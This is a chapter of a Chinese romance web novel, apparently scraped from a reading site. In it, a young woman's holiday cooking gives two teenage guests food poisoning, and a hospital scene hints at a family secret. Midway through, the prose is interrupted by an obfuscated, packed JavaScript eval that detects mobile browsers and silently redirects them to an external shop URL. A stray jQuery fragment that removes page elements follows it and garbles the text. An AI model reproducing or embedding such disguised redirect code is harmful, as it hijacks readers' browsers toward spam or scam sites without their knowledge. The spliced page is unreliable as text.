“怎么了不凡?”李不凡半天没说话,何载秋把摄像头翻转回来对着自己,“他们都是来给周敛拜年的。”
“开玩笑,我怎么可能认识。”李不凡笑着否认,脸色微变,“火火,我妈喊我呢,我先挂了。”
何载秋没多想,挂了电话,搬了一张小板凳坐到周敛旁边帮他剥蒜。
“不凡妈妈寄了点特产过来,应该是熏制的鱼肉猪肉这些,你会做吗?”
周敛还没回答,左侧的王炎先皱起眉头看着他:“你做饭?你的手怎么能做饭?”
他余光扫过何载秋,隐隐有些责备的意味。
陈川撅着屁股起身,趁王炎不备夺走他手上的半头蒜。
“爱吃不吃,不吃出门左拐慢走不送了您勒。一天天的就你事儿多,事儿精上长了个人。”
王炎悻悻地转过头,别扭地说:“我都没见他在家里做过饭。”
陈川看见王炎的神态都反胃。
仗着自己是周敛名义上的侄子,在家里对他鼻子不是鼻子眼不是眼的,到了外面又好像他们多铁一样,容不得别人说周敛一句不好。
贱不贱呐。
人家愿意给女朋友做饭干他鸟事,手伸得和蚂蟥嘴一样长,合该在学校没朋友。
陈川不愿放弃攻击王炎的机会:“嫂子你别理他,他狗嘴里吐不出象牙。”
周敛冷冷道:“要么吃,要么走,别废话。”
何载秋看着周敛异常严肃的脸,噗嗤笑出声。
“周敛,你生气的样子好可爱哦。”
剑拔弩张的王炎和陈川两人脸上同时呈呆滞状。
谁可爱?
周敛收走每个人手里的蒜:“好了不用再剥了,够用了。”
何载秋看向旁边两只呆头鹅,好笑道:“你们怎么不说话了,难道不可爱吗?”
王炎和陈川同时看向周敛。
周敛抬眸:“看我干什么,问你们。”
这谁敢回答,感觉说了会被周敛打。
“好了你别吓小孩子了。”何载秋拿走周敛手中的菜篮子,“过年了你们好不容易聚在一起,就好好说说话吧,今天午饭我来做。”
“不用。”周敛拒绝了,“我来。”
何载秋把他按回沙发:“我看你做了这么久的饭,也偷师了一点点。放心吧,简单的菜系我还是会做的。”
周敛:“不用做得太丰盛,他们两个什么都吃。”
王炎刚开口:“我不……”
剩下的话被陈川一脚踩回肚子里:“对对,嫂子,我们俩出了名的胃口好。”
“好的。”何载秋眨眨眼,捏了捏周敛的手:“替我照顾好客人哦,我给你们做大餐去了。”
两人的掌心交叠,指尖的戒指引人注目。
何载秋离开后,陈川小声说三句粗口。
“靠靠靠,怎么个事儿啊周哥,戒指都带上了?”
周敛低头转动指尖的银戒,嘴角不自觉上扬:“她买的。”
陈川摇着头说:“啧啧啧,又幸福了我周哥。还送你卡地亚,嫂子对你没得说。这是要百年好合的节奏,过两年是不是就要吃上你们的喜糖了?”
“你不能和她结婚。”王炎环顾四周,目光落在客厅空调旁的钢琴,“房子又小又破,她还让你做饭。”
周敛脸上的笑淡了,陈川拿起手边的抱枕砸向王炎。
“给你点脸你还喘上了,吃屎去吧你!”
王炎阴沉着脸砸回去:“肯定是被你这个死恋爱脑传染的!”
“哎哟爷这个暴脾气。”陈川拿起抱枕用尽全力抡他,“分不清大小王了你!周敛比你大一辈,你也该喊我一声叔!孙子快点叫叔!你叔就不和你这豆芽菜计较!”
“做梦!”王炎抓住抱枕的另一头,“我不是王杰的亲生儿子,想让我叫你叔,下辈子吧!”
陈川愣在原地:“你少踏马的骗我。”
周敛开口:“真的。”
“那你就更没理由在这儿了。”陈川指着他,“你个路人甲,马上从我嫂子家滚出去!”
王炎站起来,怒目圆睁:“滚就滚!”
两人斗牛似的面对面僵持着。
陈川拱火:“周哥,这小王八羔子那样说嫂子你不生气?”
周敛拿过毛毯盖在身上,往后靠在沙发假寐。
就不应该在何载秋面前心软把这两个祸害迎进来。
吵死了。
“敢让她听到你们的话,都给我滚出去。”
她指的是谁不言而喻。
王炎愤愤地说:“我现在就滚,不用你请。”
周敛睁开眼,在他面前伸出手:“压岁钱留下。”
“凭什么?”王炎捂着口袋,“又不是你给的。”
王炎从春节前就开始和家里人闹,年夜饭也没有吃。何载秋给的红包是他今年第一个,也可能是唯一一个压岁钱红包。
周敛双手交叉在胸前,懒懒打了个哈欠:“吃完饭就自觉走,她不喜欢家里有外人。饭桌上守好自己的嘴,别让我听到不该说的话。”
“就是就是。”陈川帮腔,“你没发现你格格不入啊,也真是厚脸皮,跟着我追到这里。”
周敛:“你也走,电灯泡。”
陈川:“?”
-
何载秋知道自己厨艺一般,也不敢灵机一动,艰难地做了四菜一汤。
现成的哈尔滨红肠切片、凉拌黄瓜、番茄鸡蛋汤、酸辣土豆丝、清蒸的卤好的酱牛肉切片加现成的蘸料。
菜都端上桌,陈川热心地往厨房里走:“嫂子怪客气的,整这么多凉菜。热菜不用弄太多了,我们几个吃不完。”
何载秋摘掉围裙:“就这些。”
王炎看着焦黄泛绿的土豆丝:“这能吃?吃了还能活吗?”
陈川对着他脑袋就是一巴掌:“大过年的什么死不死的,就你穷讲究!”
为了表示支持,陈川端起碗夹了一大筷子土豆丝:“好吃,真好吃,嫂子你厨艺太厉害了。”
“真的吗?”何载秋给他又添了几筷子菜,招呼王炎,“你也吃呀,不要客气。”
王炎说了声谢谢,在陈川对面座位坐下。
何载秋做饭做出一身汗,没胃口吃,喝了小半碗番茄鸡蛋汤。周敛中午吃了两大串胳膊那么长的羊肉串,合成肉现在还在他的喉咙管里不上不下,也吃不下饭。
他把何载秋剩下大半碗没喝完的番茄鸡蛋汤喝了,浅尝了两口菜。
王炎陈川两个人胃口不错,吃了两碗饭,菜也吃得差不多,何载秋看他们两个眼神愈发和蔼。
怪不得大人喜欢爱吃饭的小孩,乖乖吃饭的时候像两头小猪似的。
何载秋和周敛耳语:“我现在做饭也出师啰,嘿嘿。”
再也不是绝命怪厨了。
周敛笑,大拇指和食指捏着她无名指的钻戒轻轻摩挲:“求何大厨给我留条生路。”
何载秋大方地同意了:“我做五天的饭,你做三百六十天的饭。”
何载秋没想到自己出师的总时长只维持了不到一个小时。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598756|202734||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
王炎和陈川两人吃完饭后半小时轮流抢厕所,捂着肚子的表情愈来愈难看,走路的步伐愈来愈虚浮。
何载秋越看越眼熟,越看越不对劲。
陈川又一次从厕所出来,一路扶着墙,面如土色:“哎哟,好恶心,还想吐。”
完了,何载秋心中咯噔一下。
“周敛,赶紧打120。”何载秋拿上包,掏出手机叫车,“他们大概率是食物中毒了。”
-
到了医院做过检查,确认是食物中毒。
奇怪的是她和周敛一点儿事也没有,何载秋和医生对了半天账,总算找出了根本原因。
土豆。
她用了发芽的土豆。
她和周敛吃得少,就没事。
何载秋真的十分不好意思,认真给陈川和王炎道了歉,承诺再也不会请他们吃饭了。
陈川虚弱地回:“结婚饭可以吃,我要坐主桌。”
何载秋连连应下。
周敛给他们缴费去了,何载秋怕他手机的钱不够,下去找他。
两人在电梯口碰了面,何载秋拉着他想回病房,周敛勾住她的手。
“在外面安静会儿,里面吵。”
何载秋失笑:“也行,让他们休息一会儿。你侄子多大?看上去和你们差不多,但是感觉还是个小孩子。”
周敛:“刚成年,小屁孩儿一个。”
医院里空调开得特别高,热得何载秋把脖子上的白色围巾解了,围到周敛脖子。
“你也只比他大一岁,但是感觉大好多。”
周敛幼稚地掸了一下她的马尾:“穷人的孩子早当家,我没人疼。”
何载秋听得心软,扣着他的手向前一步,脸贴着他的下巴仰头轻轻说:
“我疼你呀。”
周敛在心里啧了一声。
都怪那两个电灯泡在这里杵着,不能回家。
他低头,撩开何载秋右侧的发梢,在她耳边吹气,轻笑着说:“回去疼。”
一触即离。
他说完摸了摸何载秋脑袋顶,一副温和纯洁的学生模样。
真是只有点坏的小猫。
何载秋揉着有点麻的耳垂:“我们回去了他们怎么办?感觉他们下床的力气都没有。”
“我给他们家长都打过电话了,下午会接他们回家。”
“他们的家长?”何载秋疑惑,“王炎是你侄子,他的家长不也是你家里人?但是为什么在家里陈川说他不是亲生的。”
“他是我……姐夫。”周敛说姐姐两个字的时候顿了顿,“王炎是我姐夫前妻和别人生的孩子,前妻去世了,王炎还是在他名下。我姐姐是继母,他们婚后生了一个女孩,在读初中。”
“你和你姐姐关系好吗?”何载秋问。
周敛沉默。
他想起了那天他离开家,董晴冲出来叫住他。
他以为是挽留,是劝阻,是抱歉。
都不是。
黑色的栅栏横亘在二人之间,他在围墙外的阴影里,她在灯光照耀的屋檐下,发丝都不曾乱分毫。
“周敛。”她叫他的名字,“你想好,逃避不是解决方案,你要为自己的未来负责。你现在回头,刚才说的气话还有挽回的余地。你还小,不明白日后比赛、经纪公司、营销需要多少钱,这些我们可以帮你。我是你姐姐,我不会害你。”
周敛扯动嘴角,苦涩地笑了声。
他看着眼前自己叫了十九年的姐姐。
该叫她姐姐。
还是妈妈。